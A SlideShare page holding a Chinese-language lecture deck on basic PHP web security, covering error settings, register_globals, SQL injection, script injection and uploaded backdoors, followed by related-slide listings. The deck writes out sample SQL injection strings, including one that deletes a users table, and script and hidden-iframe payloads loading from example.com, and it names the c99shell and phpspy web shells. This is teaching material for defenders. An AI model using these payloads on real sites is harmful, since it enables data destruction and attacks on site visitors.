SlideShare uma empresa Scribd logo
1 de 23
Baixar para ler offline
PHP 防駭 - 基礎觀念篇

 如何寫出安全的 PHP 網站
常見的威脅
    上線環境的錯誤訊息中出現相關系統資訊
•
    透過網址就能進入管理頁面
•
    資料庫中的資料無端地被全部刪除
•
    頁面被植入不明連結
•
    程式中多出不明的 PHP 檔案
•
開發環境的設定
error_reporting = E_ALL
• 嚴格是安全的根本
• http://localhost/hack/notice.php
register_globals = Off
• 想偷懶想節省打字字數
• http://localhost/hack/admin/index.php
• http://localhost/hack/admin/index.php?isLogin=1
上線環境的設定
display_errors = Off
• 錯誤洩漏系統環境
• http://localhost/hack/notice.php
log_errors = On
• 將錯誤記到 log 檔中
• error_log = filename
Safe mode
• 通常是共享主機才有必要打開
• 官方建議不應該在 PHP 層級裡使用
• PHP6 已不再內建
SQL Injection
資料型態的重要性
• 過份相信外部資料
• http://localhost/hack/user.php?id=1
• http://localhost/hack/user.php?id=' or 1=1; /*
• POST 表單也有同樣的問題,而且更危險
更可怕的指令
• http://localhost/hack/user.php?id=';delete from users; /*

• 其實只要權限夠,什麼指令都能執行。
善用 Library 提供的函式
    Zend Framework: Zend_Db_Adapter_Abstract::quoteInto()
•
    MySQL Library: addslashes(), mysql_real_escape_string()
•
    MySQLi Library: mysqli::real_escape_string()
•
    ADOdb: ADOConnection::Quote()
•
將資料編碼
• 敏感資料用可逆的加密演算法加密
 – 優點:駭客不容易解讀
 – 缺點:一定要用程式解讀,而且還是有可能被
   破解
• 敏感資料用不可逆的加密演算法加密
 – 優點:如果夠嚴密的話,駭客完全無法解讀
 – 缺點:無法還原為原來密碼
Script Injection
讓瀏覽者踩到地雷
• <?php echo $content ?>
• http://localhost/hack/post.php
  – <script
    src=quot;http://example.com/hack.jsquot;></script>
  – <iframe src=quot;http://example.com/hack.phpquot;
    height=quot;0quot;></iframe>
去除HTML的影響
• <?php echo htmlspecialchars($content); ?>
   – 缺點:沒辦法顯示 HTML
• <?php echo strip_tags($content, '<p>'); ?>
   – 缺點:有可能無法避掉 onxxxx 的 JS
• BBCode, Wiki, PEAR::HTML_Safe, …
木馬
上傳後門檔案
• 沒有檢查型態
  – mime-type 還是副檔名?
  – 白名單檢查
• 用 SQL Injection
一支 PHP 程式就能看透你的網站
• http://localhost/hack/c99shell.php
• http://localhost/hack/phpspy2008.php
討論
如何建立良好的程式開發習慣?
•
    MIS能為你做些什麼?
•
    用套件?還是自己來?
•
    哪些網站提供相關資訊?
•
謝謝

Mais conteúdo relacionado

Mais procurados

Drupal - 教育網路中心課程
Drupal - 教育網路中心課程Drupal - 教育網路中心課程
Drupal - 教育網路中心課程Charles Chuang
 
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõ
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõ
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõNamkhainyambuu Gan-Erdene
 
Web技術勉強会10回目(Slideshare用)
Web技術勉強会10回目(Slideshare用)Web技術勉強会10回目(Slideshare用)
Web技術勉強会10回目(Slideshare用)龍一 田中
 
Webpeckerv7 Datasheet
Webpeckerv7 DatasheetWebpeckerv7 Datasheet
Webpeckerv7 Datasheetport80
 
361 Ch
361 Ch361 Ch
361 Chanjaan
 
用Pootle翻譯OLPC專案
用Pootle翻譯OLPC專案用Pootle翻譯OLPC專案
用Pootle翻譯OLPC專案Bob Chao
 
Ag Portal Gioi Thieu Quy Trinh
Ag Portal   Gioi Thieu Quy TrinhAg Portal   Gioi Thieu Quy Trinh
Ag Portal Gioi Thieu Quy TrinhPham Ngoc Quang
 
Bai Giang 5
Bai Giang 5Bai Giang 5
Bai Giang 5nbb3i
 
Kiepvesau loi nguyenngocthien
Kiepvesau loi nguyenngocthienKiepvesau loi nguyenngocthien
Kiepvesau loi nguyenngocthienCherry Yêu Quái
 
碳酸会 图片列表讨论
碳酸会 图片列表讨论碳酸会 图片列表讨论
碳酸会 图片列表讨论碳酸饮料会
 
期貨籌碼表0512
期貨籌碼表0512期貨籌碼表0512
期貨籌碼表0512guesta0da80
 
第2回PHP懇親会発表資料
第2回PHP懇親会発表資料第2回PHP懇親会発表資料
第2回PHP懇親会発表資料Masahiko Sakamoto
 
Code Refactoring Javaeye Rails1.X 2.X
Code Refactoring Javaeye Rails1.X 2.XCode Refactoring Javaeye Rails1.X 2.X
Code Refactoring Javaeye Rails1.X 2.Xwear
 
376 Ch
376 Ch376 Ch
376 Chanjaan
 

Mais procurados (20)

Drupal - 教育網路中心課程
Drupal - 教育網路中心課程Drupal - 教育網路中心課程
Drupal - 教育網路中心課程
 
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõ
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõ
ªãºAãäëèéí ñàíã çîõèîí áàéãóóëàõ
 
Web技術勉強会10回目(Slideshare用)
Web技術勉強会10回目(Slideshare用)Web技術勉強会10回目(Slideshare用)
Web技術勉強会10回目(Slideshare用)
 
Webpeckerv7 Datasheet
Webpeckerv7 DatasheetWebpeckerv7 Datasheet
Webpeckerv7 Datasheet
 
just a test
just a testjust a test
just a test
 
Life In Whatever 2.0
Life In Whatever 2.0Life In Whatever 2.0
Life In Whatever 2.0
 
MSICC
MSICCMSICC
MSICC
 
361 Ch
361 Ch361 Ch
361 Ch
 
Pseudo Perl
Pseudo PerlPseudo Perl
Pseudo Perl
 
用Pootle翻譯OLPC專案
用Pootle翻譯OLPC專案用Pootle翻譯OLPC專案
用Pootle翻譯OLPC專案
 
Ag Portal Gioi Thieu Quy Trinh
Ag Portal   Gioi Thieu Quy TrinhAg Portal   Gioi Thieu Quy Trinh
Ag Portal Gioi Thieu Quy Trinh
 
Bai Giang 5
Bai Giang 5Bai Giang 5
Bai Giang 5
 
Kiepvesau loi nguyenngocthien
Kiepvesau loi nguyenngocthienKiepvesau loi nguyenngocthien
Kiepvesau loi nguyenngocthien
 
碳酸会 图片列表讨论
碳酸会 图片列表讨论碳酸会 图片列表讨论
碳酸会 图片列表讨论
 
期貨籌碼表0512
期貨籌碼表0512期貨籌碼表0512
期貨籌碼表0512
 
第2回PHP懇親会発表資料
第2回PHP懇親会発表資料第2回PHP懇親会発表資料
第2回PHP懇親会発表資料
 
lectureinfo site for xmu
lectureinfo site for xmulectureinfo site for xmu
lectureinfo site for xmu
 
Code Refactoring Javaeye Rails1.X 2.X
Code Refactoring Javaeye Rails1.X 2.XCode Refactoring Javaeye Rails1.X 2.X
Code Refactoring Javaeye Rails1.X 2.X
 
376 Ch
376 Ch376 Ch
376 Ch
 
Mac玩家特區X目錄
Mac玩家特區X目錄Mac玩家特區X目錄
Mac玩家特區X目錄
 

Destaque

What happens in laravel 4 bootstraping
What happens in laravel 4 bootstrapingWhat happens in laravel 4 bootstraping
What happens in laravel 4 bootstrapingJace Ju
 
PHPUnit 入門介紹
PHPUnit 入門介紹PHPUnit 入門介紹
PHPUnit 入門介紹Jace Ju
 
jQuery 實戰經驗講座
jQuery 實戰經驗講座jQuery 實戰經驗講座
jQuery 實戰經驗講座Jace Ju
 
PHP 語法基礎與物件導向
PHP 語法基礎與物件導向PHP 語法基礎與物件導向
PHP 語法基礎與物件導向Shengyou Fan
 
购物车图例:例子和最佳实践
购物车图例:例子和最佳实践购物车图例:例子和最佳实践
购物车图例:例子和最佳实践大璋 王
 
Refactoring with Patterns in PHP
Refactoring with Patterns in PHPRefactoring with Patterns in PHP
Refactoring with Patterns in PHPJace Ju
 
Beginning PHPUnit
Beginning PHPUnitBeginning PHPUnit
Beginning PHPUnitJace Ju
 
Advanced php testing in action
Advanced php testing in actionAdvanced php testing in action
Advanced php testing in actionJace Ju
 
購物車程式架構簡介
購物車程式架構簡介購物車程式架構簡介
購物車程式架構簡介Jace Ju
 
如何選擇合適的網站製作平台
如何選擇合適的網站製作平台如何選擇合適的網站製作平台
如何選擇合適的網站製作平台Hui Chieh Chiu
 
Composer 套件管理
Composer 套件管理Composer 套件管理
Composer 套件管理Shengyou Fan
 
開發環境建置
開發環境建置開發環境建置
開發環境建置Shengyou Fan
 

Destaque (12)

What happens in laravel 4 bootstraping
What happens in laravel 4 bootstrapingWhat happens in laravel 4 bootstraping
What happens in laravel 4 bootstraping
 
PHPUnit 入門介紹
PHPUnit 入門介紹PHPUnit 入門介紹
PHPUnit 入門介紹
 
jQuery 實戰經驗講座
jQuery 實戰經驗講座jQuery 實戰經驗講座
jQuery 實戰經驗講座
 
PHP 語法基礎與物件導向
PHP 語法基礎與物件導向PHP 語法基礎與物件導向
PHP 語法基礎與物件導向
 
购物车图例:例子和最佳实践
购物车图例:例子和最佳实践购物车图例:例子和最佳实践
购物车图例:例子和最佳实践
 
Refactoring with Patterns in PHP
Refactoring with Patterns in PHPRefactoring with Patterns in PHP
Refactoring with Patterns in PHP
 
Beginning PHPUnit
Beginning PHPUnitBeginning PHPUnit
Beginning PHPUnit
 
Advanced php testing in action
Advanced php testing in actionAdvanced php testing in action
Advanced php testing in action
 
購物車程式架構簡介
購物車程式架構簡介購物車程式架構簡介
購物車程式架構簡介
 
如何選擇合適的網站製作平台
如何選擇合適的網站製作平台如何選擇合適的網站製作平台
如何選擇合適的網站製作平台
 
Composer 套件管理
Composer 套件管理Composer 套件管理
Composer 套件管理
 
開發環境建置
開發環境建置開發環境建置
開發環境建置
 

Mais de Jace Ju

深入淺出 MVC
深入淺出 MVC深入淺出 MVC
深入淺出 MVCJace Ju
 
如何打造 WebMVC Framework - 基礎概念篇
如何打造 WebMVC Framework - 基礎概念篇如何打造 WebMVC Framework - 基礎概念篇
如何打造 WebMVC Framework - 基礎概念篇Jace Ju
 
Patterns in Library Design (套件設計裡的模式)
Patterns in Library Design (套件設計裡的模式)Patterns in Library Design (套件設計裡的模式)
Patterns in Library Design (套件設計裡的模式)Jace Ju
 
Patterns in Zend Framework
Patterns in Zend FrameworkPatterns in Zend Framework
Patterns in Zend FrameworkJace Ju
 
Head First Zend Framework - Part 1 Project & Application
Head First Zend Framework - Part 1 Project & ApplicationHead First Zend Framework - Part 1 Project & Application
Head First Zend Framework - Part 1 Project & ApplicationJace Ju
 
常見設計模式介紹
常見設計模式介紹常見設計模式介紹
常見設計模式介紹Jace Ju
 

Mais de Jace Ju (6)

深入淺出 MVC
深入淺出 MVC深入淺出 MVC
深入淺出 MVC
 
如何打造 WebMVC Framework - 基礎概念篇
如何打造 WebMVC Framework - 基礎概念篇如何打造 WebMVC Framework - 基礎概念篇
如何打造 WebMVC Framework - 基礎概念篇
 
Patterns in Library Design (套件設計裡的模式)
Patterns in Library Design (套件設計裡的模式)Patterns in Library Design (套件設計裡的模式)
Patterns in Library Design (套件設計裡的模式)
 
Patterns in Zend Framework
Patterns in Zend FrameworkPatterns in Zend Framework
Patterns in Zend Framework
 
Head First Zend Framework - Part 1 Project & Application
Head First Zend Framework - Part 1 Project & ApplicationHead First Zend Framework - Part 1 Project & Application
Head First Zend Framework - Part 1 Project & Application
 
常見設計模式介紹
常見設計模式介紹常見設計模式介紹
常見設計模式介紹
 

PHP 防駭 - 基礎觀念篇